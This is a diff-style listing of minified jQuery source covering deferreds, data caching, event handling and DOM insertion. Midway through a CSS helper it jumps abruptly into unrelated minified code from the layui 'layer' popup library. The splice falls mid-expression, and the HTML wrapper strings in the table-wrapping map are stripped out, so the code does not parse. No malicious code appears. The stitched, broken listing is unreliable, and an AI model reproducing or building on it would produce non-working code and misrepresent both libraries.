b.slice() : b], d ? i.push(b) : j(b)), this + }, + fire: function() { + return k.fireWith(this, arguments), this + }, + fired: function() { + return !!c + } + }; + return k + }, o.extend({ + Deferred: function(a) { + var b = [ + ["resolve", "done", o.Callbacks("once memory"), "resolved"], + ["reject", "fail", o.Callbacks("once memory"), "rejected"], + ["notify", "progress", o.Callbacks("memory")] + ], + c = "pending", + d = { + state: function() { + return c + }, + always: function() { + return e.done(arguments).fail(arguments), this + }, + then: function() { + var a = arguments; + return o.Deferred(function(c) { + o.each(b, function(b, f) { + var g = o.isFunction(a[b]) && a[b]; + e[f[1]](function() { + var a = g && g.apply(this, arguments); + a && o.isFunction(a.promise) ? a.promise().done(c.resolve).fail(c.reject).progress(c.notify) : c[f[0] + "With"](this === d ? c.promise() : this, g ? [a] : arguments) + }) + }), a = null + }).promise() + }, + promise: function(a) { + return null != a ? o.extend(a, d) : d + } + }, + e = {}; + return d.pipe = d.then, o.each(b, function(a, f) { + var g = f[2], + h = f[3]; + d[f[1]] = g.add, h && g.add(function() { + c = h + }, b[1 ^ a][2].disable, b[2][2].lock), e[f[0]] = function() { + return e[f[0] + "With"](this === e ? d : this, arguments), this + }, e[f[0] + "With"] = g.fireWith + }), d.promise(e), a && a.call(e, e), e + }, + when: function(a) { + var b = 0, + c = d.call(arguments), + e = c.length, + f = 1 !== e || a && o.isFunction(a.promise) ? e : 0, + g = 1 === f ? a : o.Deferred(), + h = function(a, b, c) { + return function(e) { + b[a] = this, c[a] = arguments.length > 1 ? d.call(arguments) : e, c === i ? g.notifyWith(b, c) : --f || g.resolveWith(b, c) + } + }, + i, j, k; + if (e > 1) + for (i = new Array(e), j = new Array(e), k = new Array(e); e > b; b++) c[b] && o.isFunction(c[b].promise) ? c[b].promise().done(h(b, k, c)).fail(g.reject).progress(h(b, j, i)) : --f; + return f || g.resolveWith(k, c), g.promise() + } + }); + var H; + o.fn.ready = function(a) { + return o.ready.promise().done(a), this + }, o.extend({ + isReady: !1, + readyWait: 1, + holdReady: function(a) { + a ? o.readyWait++ : o.ready(!0) + }, + ready: function(a) { + (a === !0 ? --o.readyWait : o.isReady) || (o.isReady = !0, a !== !0 && --o.readyWait > 0 || (H.resolveWith(m, [o]), o.fn.trigger && o(m).trigger("ready").off("ready"))) + } + }); + + function I() { + m.removeEventListener("DOMContentLoaded", I, !1), a.removeEventListener("load", I, !1), o.ready() + } + o.ready.promise = function(b) { + return H || (H = o.Deferred(), "complete" === m.readyState ? setTimeout(o.ready) : (m.addEventListener("DOMContentLoaded", I, !1), a.addEventListener("load", I, !1))), H.promise(b) + }, o.ready.promise(); + var J = o.access = function(a, b, c, d, e, f, g) { + var h = 0, + i = a.length, + j = null == c; + if ("object" === o.type(c)) { + e = !0; + for (h in c) o.access(a, b, h, c[h], !0, f, g) + } else if (void 0 !== d && (e = !0, o.isFunction(d) || (g = !0), j && (g ? (b.call(a, d), b = null) : (j = b, b = function(a, b, c) { + return j.call(o(a), c) + })), b)) + for (; i > h; h++) b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c))); + return e ? a : j ? b.call(a) : i ? b(a[0], c) : f + }; + o.acceptData = function(a) { + return 1 === a.nodeType || 9 === a.nodeType || !+a.nodeType + }; + + function K() { + Object.defineProperty(this.cache = {}, 0, { + get: function() { + return {} + } + }), this.expando = o.expando + Math.random() + } + K.uid = 1, K.accepts = o.acceptData, K.prototype = { + key: function(a) { + if (!K.accepts(a)) return 0; + var b = {}, + c = a[this.expando]; + if (!c) { + c = K.uid++; + try { + b[this.expando] = { + value: c + }, Object.defineProperties(a, b) + } catch (d) { + b[this.expando] = c, o.extend(a, b) + } + } + return this.cache[c] || (this.cache[c] = {}), c + }, + set: function(a, b, c) { + var d, e = this.key(a), + f = this.cache[e]; + if ("string" == typeof b) f[b] = c; + else if (o.isEmptyObject(f)) o.extend(this.cache[e], b); + else + for (d in b) f[d] = b[d]; + return f + }, + get: function(a, b) { + var c = this.cache[this.key(a)]; + return void 0 === b ? c : c[b] + }, + access: function(a, b, c) { + var d; + return void 0 === b || b && "string" == typeof b && void 0 === c ? (d = this.get(a, b), void 0 !== d ? d : this.get(a, o.camelCase(b))) : (this.set(a, b, c), void 0 !== c ? c : b) + }, + remove: function(a, b) { + var c, d, e, f = this.key(a), + g = this.cache[f]; + if (void 0 === b) this.cache[f] = {}; + else { + o.isArray(b) ? d = b.concat(b.map(o.camelCase)) : (e = o.camelCase(b), b in g ? d = [b, e] : (d = e, d = d in g ? [d] : d.match(E) || [])), c = d.length; + while (c--) delete g[d[c]] + } + }, + hasData: function(a) { + return !o.isEmptyObject(this.cache[a[this.expando]] || {}) + }, + discard: function(a) { + a[this.expando] && delete this.cache[a[this.expando]] + } + }; + var L = new K, + M = new K, + N = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, + O = /([A-Z])/g; + + function P(a, b, c) { + var d; + if (void 0 === c && 1 === a.nodeType) + if (d = "data-" + b.replace(O, "-$1").toLowerCase(), c = a.getAttribute(d), "string" == typeof c) { + try { + c = "true" === c ? !0 : "false" === c ? !1 : "null" === c ? null : +c + "" === c ? +c : N.test(c) ? o.parseJSON(c) : c + } catch (e) {} + M.set(a, b, c) + } else c = void 0; + return c + } + o.extend({ + hasData: function(a) { + return M.hasData(a) || L.hasData(a) + }, + data: function(a, b, c) { + return M.access(a, b, c) + }, + removeData: function(a, b) { + M.remove(a, b) + }, + _data: function(a, b, c) { + return L.access(a, b, c) + }, + _removeData: function(a, b) { + L.remove(a, b) + } + }), o.fn.extend({ + data: function(a, b) { + var c, d, e, f = this[0], + g = f && f.attributes; + if (void 0 === a) { + if (this.length && (e = M.get(f), 1 === f.nodeType && !L.get(f, "hasDataAttrs"))) { + c = g.length; + while (c--) d = g[c].name, 0 === d.indexOf("data-") && (d = o.camelCase(d.slice(5)), P(f, d, e[d])); + L.set(f, "hasDataAttrs", !0) + } + return e + } + return "object" == typeof a ? this.each(function() { + M.set(this, a) + }) : J(this, function(b) { + var c, d = o.camelCase(a); + if (f && void 0 === b) { + if (c = M.get(f, a), void 0 !== c) return c; + if (c = M.get(f, d), void 0 !== c) return c; + if (c = P(f, d, void 0), void 0 !== c) return c + } else this.each(function() { + var c = M.get(this, d); + M.set(this, d, b), -1 !== a.indexOf("-") && void 0 !== c && M.set(this, a, b) + }) + }, null, b, arguments.length > 1, null, !0) + }, + removeData: function(a) { + return this.each(function() { + M.remove(this, a) + }) + } + }), o.extend({ + queue: function(a, b, c) { + var d; + return a ? (b = (b || "fx") + "queue", d = L.get(a, b), c && (!d || o.isArray(c) ? d = L.access(a, b, o.makeArray(c)) : d.push(c)), d || []) : void 0 + }, + dequeue: function(a, b) { + b = b || "fx"; + var c = o.queue(a, b), + d = c.length, + e = c.shift(), + f = o._queueHooks(a, b), + g = function() { + o.dequeue(a, b) + }; + "inprogress" === e && (e = c.shift(), d--), e && ("fx" === b && c.unshift("inprogress"), delete f.stop, e.call(a, g, f)), !d && f && f.empty.fire() + }, + _queueHooks: function(a, b) { + var c = b + "queueHooks"; + return L.get(a, c) || L.access(a, c, { + empty: o.Callbacks("once memory").add(function() { + L.remove(a, [b + "queue", c]) + }) + }) + } + }), o.fn.extend({ + queue: function(a, b) { + var c = 2; + return "string" != typeof a && (b = a, a = "fx", c--), arguments.length < c ? o.queue(this[0], a) : void 0 === b ? this : this.each(function() { + var c = o.queue(this, a, b); + o._queueHooks(this, a), "fx" === a && "inprogress" !== c[0] && o.dequeue(this, a) + }) + }, + dequeue: function(a) { + return this.each(function() { + o.dequeue(this, a) + }) + }, + clearQueue: function(a) { + return this.queue(a || "fx", []) + }, + promise: function(a, b) { + var c, d = 1, + e = o.Deferred(), + f = this, + g = this.length, + h = function() { + --d || e.resolveWith(f, [f]) + }; + "string" != typeof a && (b = a, a = void 0), a = a || "fx"; + while (g--) c = L.get(f[g], a + "queueHooks"), c && c.empty && (d++, c.empty.add(h)); + return h(), e.promise(b) + } + }); + var Q = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, + R = ["Top", "Right", "Bottom", "Left"], + S = function(a, b) { + return a = b || a, "none" === o.css(a, "display") || !o.contains(a.ownerDocument, a) + }, + T = /^(?:checkbox|radio)$/i; + ! function() { + var a = m.createDocumentFragment(), + b = a.appendChild(m.createElement("div")); + b.innerHTML = "", l.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked, b.innerHTML = "", l.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue + }(); + var U = "undefined"; + l.focusinBubbles = "onfocusin" in a; + var V = /^key/, + W = /^(?:mouse|contextmenu)|click/, + X = /^(?:focusinfocus|focusoutblur)$/, + Y = /^([^.]*)(?:\.(.+)|)$/; + + function Z() { + return !0 + } + + function $() { + return !1 + } + + function _() { + try { + return m.activeElement + } catch (a) {} + } + o.event = { + global: {}, + add: function(a, b, c, d, e) { + var f, g, h, i, j, k, l, m, n, p, q, r = L.get(a); + if (r) { + c.handler && (f = c, c = f.handler, e = f.selector), c.guid || (c.guid = o.guid++), (i = r.events) || (i = r.events = {}), (g = r.handle) || (g = r.handle = function(b) { + return typeof o !== U && o.event.triggered !== b.type ? o.event.dispatch.apply(a, arguments) : void 0 + }), b = (b || "").match(E) || [""], j = b.length; + while (j--) h = Y.exec(b[j]) || [], n = q = h[1], p = (h[2] || "").split(".").sort(), n && (l = o.event.special[n] || {}, n = (e ? l.delegateType : l.bindType) || n, l = o.event.special[n] || {}, k = o.extend({ + type: n, + origType: q, + data: d, + handler: c, + guid: c.guid, + selector: e, + needsContext: e && o.expr.match.needsContext.test(e), + namespace: p.join(".") + }, f), (m = i[n]) || (m = i[n] = [], m.delegateCount = 0, l.setup && l.setup.call(a, d, p, g) !== !1 || a.addEventListener && a.addEventListener(n, g, !1)), l.add && (l.add.call(a, k), k.handler.guid || (k.handler.guid = c.guid)), e ? m.splice(m.delegateCount++, 0, k) : m.push(k), o.event.global[n] = !0) + } + }, + remove: function(a, b, c, d, e) { + var f, g, h, i, j, k, l, m, n, p, q, r = L.hasData(a) && L.get(a); + if (r && (i = r.events)) { + b = (b || "").match(E) || [""], j = b.length; + while (j--) + if (h = Y.exec(b[j]) || [], n = q = h[1], p = (h[2] || "").split(".").sort(), n) { + l = o.event.special[n] || {}, n = (d ? l.delegateType : l.bindType) || n, m = i[n] || [], h = h[2] && new RegExp("(^|\\.)" + p.join("\\.(?:.*\\.|)") + "(\\.|$)"), g = f = m.length; + while (f--) k = m[f], !e && q !== k.origType || c && c.guid !== k.guid || h && !h.test(k.namespace) || d && d !== k.selector && ("**" !== d || !k.selector) || (m.splice(f, 1), k.selector && m.delegateCount--, l.remove && l.remove.call(a, k)); + g && !m.length && (l.teardown && l.teardown.call(a, p, r.handle) !== !1 || o.removeEvent(a, n, r.handle), delete i[n]) + } else + for (n in i) o.event.remove(a, n + b[j], c, d, !0); + o.isEmptyObject(i) && (delete r.handle, L.remove(a, "events")) + } + }, + trigger: function(b, c, d, e) { + var f, g, h, i, k, l, n, p = [d || m], + q = j.call(b, "type") ? b.type : b, + r = j.call(b, "namespace") ? b.namespace.split(".") : []; + if (g = h = d = d || m, 3 !== d.nodeType && 8 !== d.nodeType && !X.test(q + o.event.triggered) && (q.indexOf(".") >= 0 && (r = q.split("."), q = r.shift(), r.sort()), k = q.indexOf(":") < 0 && "on" + q, b = b[o.expando] ? b : new o.Event(q, "object" == typeof b && b), b.isTrigger = e ? 2 : 3, b.namespace = r.join("."), b.namespace_re = b.namespace ? new RegExp("(^|\\.)" + r.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, b.result = void 0, b.target || (b.target = d), c = null == c ? [b] : o.makeArray(c, [b]), n = o.event.special[q] || {}, e || !n.trigger || n.trigger.apply(d, c) !== !1)) { + if (!e && !n.noBubble && !o.isWindow(d)) { + for (i = n.delegateType || q, X.test(i + q) || (g = g.parentNode); g; g = g.parentNode) p.push(g), h = g; + h === (d.ownerDocument || m) && p.push(h.defaultView || h.parentWindow || a) + } + f = 0; + while ((g = p[f++]) && !b.isPropagationStopped()) b.type = f > 1 ? i : n.bindType || q, l = (L.get(g, "events") || {})[b.type] && L.get(g, "handle"), l && l.apply(g, c), l = k && g[k], l && l.apply && o.acceptData(g) && (b.result = l.apply(g, c), b.result === !1 && b.preventDefault()); + return b.type = q, e || b.isDefaultPrevented() || n._default && n._default.apply(p.pop(), c) !== !1 || !o.acceptData(d) || k && o.isFunction(d[q]) && !o.isWindow(d) && (h = d[k], h && (d[k] = null), o.event.triggered = q, d[q](), o.event.triggered = void 0, h && (d[k] = h)), b.result + } + }, + dispatch: function(a) { + a = o.event.fix(a); + var b, c, e, f, g, h = [], + i = d.call(arguments), + j = (L.get(this, "events") || {})[a.type] || [], + k = o.event.special[a.type] || {}; + if (i[0] = a, a.delegateTarget = this, !k.preDispatch || k.preDispatch.call(this, a) !== !1) { + h = o.event.handlers.call(this, a, j), b = 0; + while ((f = h[b++]) && !a.isPropagationStopped()) { + a.currentTarget = f.elem, c = 0; + while ((g = f.handlers[c++]) && !a.isImmediatePropagationStopped())(!a.namespace_re || a.namespace_re.test(g.namespace)) && (a.handleObj = g, a.data = g.data, e = ((o.event.special[g.origType] || {}).handle || g.handler).apply(f.elem, i), void 0 !== e && (a.result = e) === !1 && (a.preventDefault(), a.stopPropagation())) + } + return k.postDispatch && k.postDispatch.call(this, a), a.result + } + }, + handlers: function(a, b) { + var c, d, e, f, g = [], + h = b.delegateCount, + i = a.target; + if (h && i.nodeType && (!a.button || "click" !== a.type)) + for (; i !== this; i = i.parentNode || this) + if (i.disabled !== !0 || "click" !== a.type) { + for (d = [], c = 0; h > c; c++) f = b[c], e = f.selector + " ", void 0 === d[e] && (d[e] = f.needsContext ? o(e, this).index(i) >= 0 : o.find(e, this, null, [i]).length), d[e] && d.push(f); + d.length && g.push({ + elem: i, + handlers: d + }) + } + return h < b.length && g.push({ + elem: this, + handlers: b.slice(h) + }), g + }, + props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), + fixHooks: {}, + keyHooks: { + props: "char charCode key keyCode".split(" "), + filter: function(a, b) { + return null == a.which && (a.which = null != b.charCode ? b.charCode : b.keyCode), a + } + }, + mouseHooks: { + props: "button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement".split(" "), + filter: function(a, b) { + var c, d, e, f = b.button; + return null == a.pageX && null != b.clientX && (c = a.target.ownerDocument || m, d = c.documentElement, e = c.body, a.pageX = b.clientX + (d && d.scrollLeft || e && e.scrollLeft || 0) - (d && d.clientLeft || e && e.clientLeft || 0), a.pageY = b.clientY + (d && d.scrollTop || e && e.scrollTop || 0) - (d && d.clientTop || e && e.clientTop || 0)), a.which || void 0 === f || (a.which = 1 & f ? 1 : 2 & f ? 3 : 4 & f ? 2 : 0), a + } + }, + fix: function(a) { + if (a[o.expando]) return a; + var b, c, d, e = a.type, + f = a, + g = this.fixHooks[e]; + g || (this.fixHooks[e] = g = W.test(e) ? this.mouseHooks : V.test(e) ? this.keyHooks : {}), d = g.props ? this.props.concat(g.props) : this.props, a = new o.Event(f), b = d.length; + while (b--) c = d[b], a[c] = f[c]; + return a.target || (a.target = m), 3 === a.target.nodeType && (a.target = a.target.parentNode), g.filter ? g.filter(a, f) : a + }, + special: { + load: { + noBubble: !0 + }, + focus: { + trigger: function() { + return this !== _() && this.focus ? (this.focus(), !1) : void 0 + }, + delegateType: "focusin" + }, + blur: { + trigger: function() { + return this === _() && this.blur ? (this.blur(), !1) : void 0 + }, + delegateType: "focusout" + }, + click: { + trigger: function() { + return "checkbox" === this.type && this.click && o.nodeName(this, "input") ? (this.click(), !1) : void 0 + }, + _default: function(a) { + return o.nodeName(a.target, "a") + } + }, + beforeunload: { + postDispatch: function(a) { + void 0 !== a.result && (a.originalEvent.returnValue = a.result) + } + } + }, + simulate: function(a, b, c, d) { + var e = o.extend(new o.Event, c, { + type: a, + isSimulated: !0, + originalEvent: {} + }); + d ? o.event.trigger(e, null, b) : o.event.dispatch.call(b, e), e.isDefaultPrevented() && c.preventDefault() + } + }, o.removeEvent = function(a, b, c) { + a.removeEventListener && a.removeEventListener(b, c, !1) + }, o.Event = function(a, b) { + return this instanceof o.Event ? (a && a.type ? (this.originalEvent = a, this.type = a.type, this.isDefaultPrevented = a.defaultPrevented || void 0 === a.defaultPrevented && a.getPreventDefault && a.getPreventDefault() ? Z : $) : this.type = a, b && o.extend(this, b), this.timeStamp = a && a.timeStamp || o.now(), void(this[o.expando] = !0)) : new o.Event(a, b) + }, o.Event.prototype = { + isDefaultPrevented: $, + isPropagationStopped: $, + isImmediatePropagationStopped: $, + preventDefault: function() { + var a = this.originalEvent; + this.isDefaultPrevented = Z, a && a.preventDefault && a.preventDefault() + }, + stopPropagation: function() { + var a = this.originalEvent; + this.isPropagationStopped = Z, a && a.stopPropagation && a.stopPropagation() + }, + stopImmediatePropagation: function() { + this.isImmediatePropagationStopped = Z, this.stopPropagation() + } + }, o.each({ + mouseenter: "mouseover", + mouseleave: "mouseout" + }, function(a, b) { + o.event.special[a] = { + delegateType: b, + bindType: b, + handle: function(a) { + var c, d = this, + e = a.relatedTarget, + f = a.handleObj; + return (!e || e !== d && !o.contains(d, e)) && (a.type = f.origType, c = f.handler.apply(this, arguments), a.type = b), c + } + } + }), l.focusinBubbles || o.each({ + focus: "focusin", + blur: "focusout" + }, function(a, b) { + var c = function(a) { + o.event.simulate(b, a.target, o.event.fix(a), !0) + }; + o.event.special[b] = { + setup: function() { + var d = this.ownerDocument || this, + e = L.access(d, b); + e || d.addEventListener(a, c, !0), L.access(d, b, (e || 0) + 1) + }, + teardown: function() { + var d = this.ownerDocument || this, + e = L.access(d, b) - 1; + e ? L.access(d, b, e) : (d.removeEventListener(a, c, !0), L.remove(d, b)) + } + } + }), o.fn.extend({ + on: function(a, b, c, d, e) { + var f, g; + if ("object" == typeof a) { + "string" != typeof b && (c = c || b, b = void 0); + for (g in a) this.on(g, b, c, a[g], e); + return this + } + if (null == c && null == d ? (d = b, c = b = void 0) : null == d && ("string" == typeof b ? (d = c, c = void 0) : (d = c, c = b, b = void 0)), d === !1) d = $; + else if (!d) return this; + return 1 === e && (f = d, d = function(a) { + return o().off(a), f.apply(this, arguments) + }, d.guid = f.guid || (f.guid = o.guid++)), this.each(function() { + o.event.add(this, a, d, c, b) + }) + }, + one: function(a, b, c, d) { + return this.on(a, b, c, d, 1) + }, + off: function(a, b, c) { + var d, e; + if (a && a.preventDefault && a.handleObj) return d = a.handleObj, o(a.delegateTarget).off(d.namespace ? d.origType + "." + d.namespace : d.origType, d.selector, d.handler), this; + if ("object" == typeof a) { + for (e in a) this.off(e, b, a[e]); + return this + } + return (b === !1 || "function" == typeof b) && (c = b, b = void 0), c === !1 && (c = $), this.each(function() { + o.event.remove(this, a, c, b) + }) + }, + trigger: function(a, b) { + return this.each(function() { + o.event.trigger(a, b, this) + }) + }, + triggerHandler: function(a, b) { + var c = this[0]; + return c ? o.event.trigger(a, b, c, !0) : void 0 + } + }); + var ab = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, + bb = /<([\w:]+)/, + cb = /<|&#?\w+;/, + db = /<(?:script|style|link)/i, + eb = /checked\s*(?:[^=]|=\s*.checked.)/i, + fb = /^$|\/(?:java|ecma)script/i, + gb = /^true\/(.*)/, + hb = /^\s*\s*$/g, + ib = { + option: [1, ""], + thead: [1, "
", "
"], + col: [2, "", "
"], + tr: [2, "", "
"], + td: [3, "", "
"], + _default: [0, "", ""] + }; + ib.optgroup = ib.option, ib.tbody = ib.tfoot = ib.colgroup = ib.caption = ib.thead, ib.th = ib.td; + + function jb(a, b) { + return o.nodeName(a, "table") && o.nodeName(11 !== b.nodeType ? b : b.firstChild, "tr") ? a.getElementsByTagName("tbody")[0] || a.appendChild(a.ownerDocument.createElement("tbody")) : a + } + + function kb(a) { + return a.type = (null !== a.getAttribute("type")) + "/" + a.type, a + } + + function lb(a) { + var b = gb.exec(a.type); + return b ? a.type = b[1] : a.removeAttribute("type"), a + } + + function mb(a, b) { + for (var c = 0, d = a.length; d > c; c++) L.set(a[c], "globalEval", !b || L.get(b[c], "globalEval")) + } + + function nb(a, b) { + var c, d, e, f, g, h, i, j; + if (1 === b.nodeType) { + if (L.hasData(a) && (f = L.access(a), g = L.set(b, f), j = f.events)) { + delete g.handle, g.events = {}; + for (e in j) + for (c = 0, d = j[e].length; d > c; c++) o.event.add(b, e, j[e][c]) + } + M.hasData(a) && (h = M.access(a), i = o.extend({}, h), M.set(b, i)) + } + } + + function ob(a, b) { + var c = a.getElementsByTagName ? a.getElementsByTagName(b || "*") : a.querySelectorAll ? a.querySelectorAll(b || "*") : []; + return void 0 === b || b && o.nodeName(a, b) ? o.merge([a], c) : c + } + + function pb(a, b) { + var c = b.nodeName.toLowerCase(); + "input" === c && T.test(a.type) ? b.checked = a.checked : ("input" === c || "textarea" === c) && (b.defaultValue = a.defaultValue) + } + o.extend({ + clone: function(a, b, c) { + var d, e, f, g, h = a.cloneNode(!0), + i = o.contains(a.ownerDocument, a); + if (!(l.noCloneChecked || 1 !== a.nodeType && 11 !== a.nodeType || o.isXMLDoc(a))) + for (g = ob(h), f = ob(a), d = 0, e = f.length; e > d; d++) pb(f[d], g[d]); + if (b) + if (c) + for (f = f || ob(a), g = g || ob(h), d = 0, e = f.length; e > d; d++) nb(f[d], g[d]); + else nb(a, h); + return g = ob(h, "script"), g.length > 0 && mb(g, !i && ob(a, "script")), h + }, + buildFragment: function(a, b, c, d) { + for (var e, f, g, h, i, j, k = b.createDocumentFragment(), l = [], m = 0, n = a.length; n > m; m++) + if (e = a[m], e || 0 === e) + if ("object" === o.type(e)) o.merge(l, e.nodeType ? [e] : e); + else if (cb.test(e)) { + f = f || k.appendChild(b.createElement("div")), g = (bb.exec(e) || ["", ""])[1].toLowerCase(), h = ib[g] || ib._default, f.innerHTML = h[1] + e.replace(ab, "<$1>") + h[2], j = h[0]; + while (j--) f = f.lastChild; + o.merge(l, f.childNodes), f = k.firstChild, f.textContent = "" + } else l.push(b.createTextNode(e)); + k.textContent = "", m = 0; + while (e = l[m++]) + if ((!d || -1 === o.inArray(e, d)) && (i = o.contains(e.ownerDocument, e), f = ob(k.appendChild(e), "script"), i && mb(f), c)) { + j = 0; + while (e = f[j++]) fb.test(e.type || "") && c.push(e) + } + return k + }, + cleanData: function(a) { + for (var b, c, d, e, f, g, h = o.event.special, i = 0; void 0 !== (c = a[i]); i++) { + if (o.acceptData(c) && (f = c[L.expando], f && (b = L.cache[f]))) { + if (d = Object.keys(b.events || {}), d.length) + for (g = 0; void 0 !== (e = d[g]); g++) h[e] ? o.event.remove(c, e) : o.removeEvent(c, e, b.handle); + L.cache[f] && delete L.cache[f] + } + delete M.cache[c[M.expando]] + } + } + }), o.fn.extend({ + text: function(a) { + return J(this, function(a) { + return void 0 === a ? o.text(this) : this.empty().each(function() { + (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) && (this.textContent = a) + }) + }, null, a, arguments.length) + }, + append: function() { + return this.domManip(arguments, function(a) { + if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) { + var b = jb(this, a); + b.appendChild(a) + } + }) + }, + prepend: function() { + return this.domManip(arguments, function(a) { + if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) { + var b = jb(this, a); + b.insertBefore(a, b.firstChild) + } + }) + }, + before: function() { + return this.domManip(arguments, function(a) { + this.parentNode && this.parentNode.insertBefore(a, this) + }) + }, + after: function() { + return this.domManip(arguments, function(a) { + this.parentNode && this.parentNode.insertBefore(a, this.nextSibling) + }) + }, + remove: function(a, b) { + for (var c, d = a ? o.filter(a, this) : this, e = 0; null != (c = d[e]); e++) b || 1 !== c.nodeType || o.cleanData(ob(c)), c.parentNode && (b && o.contains(c.ownerDocument, c) && mb(ob(c, "script")), c.parentNode.removeChild(c)); + return this + }, + empty: function() { + for (var a, b = 0; null != (a = this[b]); b++) 1 === a.nodeType && (o.cleanData(ob(a, !1)), a.textContent = ""); + return this + }, + clone: function(a, b) { + return a = null == a ? !1 : a, b = null == b ? a : b, this.map(function() { + return o.clone(this, a, b) + }) + }, + html: function(a) { + return J(this, function(a) { + var b = this[0] || {}, + c = 0, + d = this.length; + if (void 0 === a && 1 === b.nodeType) return b.innerHTML; + if ("string" == typeof a && !db.test(a) && !ib[(bb.exec(a) || ["", ""])[1].toLowerCase()]) { + a = a.replace(ab, "<$1>"); + try { + for (; d > c; c++) b = this[c] || {}, 1 === b.nodeType && (o.cleanData(ob(b, !1)), b.innerHTML = a); + b = 0 + } catch (e) {} + } + b && this.empty().append(a) + }, null, a, arguments.length) + }, + replaceWith: function() { + var a = arguments[0]; + return this.domManip(arguments, function(b) { + a = this.parentNode, o.cleanData(ob(this)), a && a.replaceChild(b, this) + }), a && (a.length || a.nodeType) ? this : this.remove() + }, + detach: function(a) { + return this.remove(a, !0) + }, + domManip: function(a, b) { + a = e.apply([], a); + var c, d, f, g, h, i, j = 0, + k = this.length, + m = this, + n = k - 1, + p = a[0], + q = o.isFunction(p); + if (q || k > 1 && "string" == typeof p && !l.checkClone && eb.test(p)) return this.each(function(c) { + var d = m.eq(c); + q && (a[0] = p.call(this, c, d.html())), d.domManip(a, b) + }); + if (k && (c = o.buildFragment(a, this[0].ownerDocument, !1, this), d = c.firstChild, 1 === c.childNodes.length && (c = d), d)) { + for (f = o.map(ob(c, "script"), kb), g = f.length; k > j; j++) h = c, j !== n && (h = o.clone(h, !0, !0), g && o.merge(f, ob(h, "script"))), b.call(this[j], h, j); + if (g) + for (i = f[f.length - 1].ownerDocument, o.map(f, lb), j = 0; g > j; j++) h = f[j], fb.test(h.type || "") && !L.access(h, "globalEval") && o.contains(i, h) && (h.src ? o._evalUrl && o._evalUrl(h.src) : o.globalEval(h.textContent.replace(hb, ""))) + } + return this + } + }), o.each({ + appendTo: "append", + prependTo: "prepend", + insertBefore: "before", + insertAfter: "after", + replaceAll: "replaceWith" + }, function(a, b) { + o.fn[a] = function(a) { + for (var c, d = [], e = o(a), g = e.length - 1, h = 0; g >= h; h++) c = h === g ? this : this.clone(!0), o(e[h])[b](c), f.apply(d, c.get()); + return this.pushStack(d) + } + }); + var qb, rb = {}; + + function sb(b, c) { + var d = o(c.createElement(b)).appendTo(c.body), + e = a.getDefaultComputedStyle ? a.getDefaultComputedStyle(d[0]).display : o.css(d[0], "display"); + return d.detach(), e + } + + function tb(a) { + var b = m, + c = rb[a]; + return c || (c = sb(a, b), "none" !== c && c || (qb = (qb || o("';break;case 3:delete t.title,delete t.closeBtn,t.icon===-1&&0===t.icon,r.closeAll("loading");break;case 4:f||(t.content=[t.content,"body"]),t.follow=t.content[1],t.content=t.content[0]+'',delete t.title,t.tips="object"==typeof t.tips?t.tips:[t.tips,!0],t.tipsMore||r.closeAll("tips")}if(e.vessel(f,function(n,r,u){c.append(n[0]),f?function(){2==t.type||4==t.type?function(){i("body").append(n[1])}():function(){s.parents("."+l[0])[0]||(s.data("display",s.css("display")).show().addClass("layui-layer-wrap").wrap(n[1]),i("#"+l[0]+a).find("."+l[5]).before(r))}()}():c.append(n[1]),i(".layui-layer-move")[0]||c.append(o.moveElem=u),e.layero=i("#"+l[0]+a),t.scrollbar||l.html.css("overflow","hidden").attr("layer-full",a)}).auto(a),i("#layui-layer-shade"+e.index).css({"background-color":t.shade[1]||"#000",opacity:t.shade[0]||t.shade}),2==t.type&&6==r.ie&&e.layero.find("iframe").attr("src",s[0]),4==t.type?e.tips():e.offset(),t.fixed&&n.on("resize",function(){e.offset(),(/^\d+%$/.test(t.area[0])||/^\d+%$/.test(t.area[1]))&&e.auto(a),4==t.type&&e.tips()}),t.time<=0||setTimeout(function(){r.close(e.index)},t.time),e.move().callback(),l.anim[t.anim]){var u="layer-anim "+l.anim[t.anim];e.layero.addClass(u).one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend",function(){i(this).removeClass(u)})}t.isOutAnim&&e.layero.data("isOutAnim",!0)}},s.pt.auto=function(e){var t=this,a=t.config,o=i("#"+l[0]+e);""===a.area[0]&&a.maxWidth>0&&(r.ie&&r.ie<8&&a.btn&&o.width(o.innerWidth()),o.outerWidth()>a.maxWidth&&o.width(a.maxWidth));var s=[o.innerWidth(),o.innerHeight()],f=o.find(l[1]).outerHeight()||0,c=o.find("."+l[6]).outerHeight()||0,u=function(e){e=o.find(e),e.height(s[1]-f-c-2*(0|parseFloat(e.css("padding-top"))))};switch(a.type){case 2:u("iframe");break;default:""===a.area[1]?a.maxHeight>0&&o.outerHeight()>a.maxHeight?(s[1]=a.maxHeight,u("."+l[5])):a.fixed&&s[1]>=n.height()&&(s[1]=n.height(),u("."+l[5])):u("."+l[5])}return t},s.pt.offset=function(){var e=this,t=e.config,i=e.layero,a=[i.outerWidth(),i.outerHeight()],o="object"==typeof 